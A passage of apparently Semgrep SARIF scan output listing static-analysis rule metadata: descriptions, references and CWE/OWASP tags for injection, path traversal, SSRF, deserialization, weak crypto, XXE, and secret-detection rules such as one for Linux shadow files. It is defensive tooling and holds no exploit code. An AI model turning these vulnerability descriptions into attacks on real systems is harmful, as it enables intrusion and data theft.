vulnerability."},"helpUri":"https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect","id":"typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect","name":"typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi","id":"python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi","name":"python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `phantom` page methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `phantom` page methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.phantom.security.audit.phantom-injection.phantom-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `phantom` page methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.phantom.security.audit.phantom-injection.phantom-injection","id":"javascript.phantom.security.audit.phantom-injection.phantom-injection","name":"javascript.phantom.security.audit.phantom-injection.phantom-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.phantom.security.audit.phantom-injection.phantom-injection"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false","id":"python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false","name":"python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc","id":"csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc","name":"csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The function `$FUN` does not impose any size limitation to what it writes to `$BUF`. That may lead to a stack buffer overflow if there is no validation on the size of the input."},"help":{"markdown":"The function `$FUN` does not impose any size limitation to what it writes to `$BUF`. That may lead to a stack buffer overflow if there is no validation on the size of the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator](https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator)\n","text":"The function `$FUN` does not impose any size limitation to what it writes to `$BUF`. That may lead to a stack buffer overflow if there is no validation on the size of the input."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer","id":"cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer","name":"cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer","properties":{"precision":"very-high","tags":["CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using `#$variable` and use `$variable` in `sql\"...\"` strings instead."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using `#$variable` and use `$variable` in `sql\"...\"` strings instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal)\n - [https://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values](https://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using `#$variable` and use `$variable` in `sql\"...\"` strings instead."},"helpUri":"https://semgrep.dev/r/scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal","id":"scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal","name":"scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped."},"help":{"markdown":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn","id":"cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn","name":"cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"linux shadow file detected"},"help":{"markdown":"linux shadow file detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-etc-shadow.detected-etc-shadow)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"linux shadow file detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-etc-shadow.detected-etc-shadow","id":"generic.secrets.security.detected-etc-shadow.detected-etc-shadow","name":"generic.secrets.security.detected-etc-shadow.detected-etc-shadow","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-etc-shadow.detected-etc-shadow"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask","id":"python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask","name":"python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"CodeClimate detected"},"help":{"markdown":"CodeClimate detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-codeclimate.detected-codeclimate)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"CodeClimate detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-codeclimate.detected-codeclimate","id":"generic.secrets.security.detected-codeclimate.detected-codeclimate","name":"generic.secrets.security.detected-codeclimate.detected-codeclimate","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-codeclimate.detected-codeclimate"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of RSA-$BITS, which is considered weak. Based on NIST standards, RSA keys should be at least 2048 bits."},"help":{"markdown":"Use of RSA-$BITS, which is considered weak. Based on NIST standards, RSA keys should be at least 2048 bits.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"Use of RSA-$BITS, which is considered weak. Based on NIST standards, RSA keys should be at least 2048 bits."},"helpUri":"https://semgrep.dev/r/typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key","id":"typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key","name":"typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of Blowfish was detected. Blowfish uses a 64-bit block size that  makes it vulnerable to birthday attacks, and is therefore considered non-compliant.  Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of Blowfish was detected. Blowfish uses a 64-bit block size that  makes it vulnerable to birthday attacks, and is therefore considered non-compliant.  Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of Blowfish was detected. Blowfish uses a 64-bit block size that  makes it vulnerable to birthday attacks, and is therefore considered non-compliant.  Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish","id":"java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish","name":"java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security."},"help":{"markdown":"An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.weak-ssl-context.weak-ssl-context)\n - [https://tools.ietf.org/html/rfc7568](https://tools.ietf.org/html/rfc7568)\n - [https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html](https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html)\n","text":"An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.weak-ssl-context.weak-ssl-context","id":"java.lang.security.audit.weak-ssl-context.weak-ssl-context","name":"java.lang.security.audit.weak-ssl-context.weak-ssl-context","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.weak-ssl-context.weak-ssl-context"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary commands."},"help":{"markdown":"Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-system-command.tainted-system-command)\n - [https://www.stackhawk.com/blog/command-injection-java/](https://www.stackhawk.com/blog/command-injection-java/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n - [https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.java](https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.java)\n","text":"Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary commands."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-system-command.tainted-system-command","id":"java.spring.security.injection.tainted-system-command.tainted-system-command","name":"java.spring.security.injection.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda","id":"python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda","name":"python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"help":{"markdown":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"helpUri":"https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any","id":"typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any","name":"typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any","properties":{"precision":"very-high","tags":["CWE-183: Permissive List of Allowed Inputs","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and 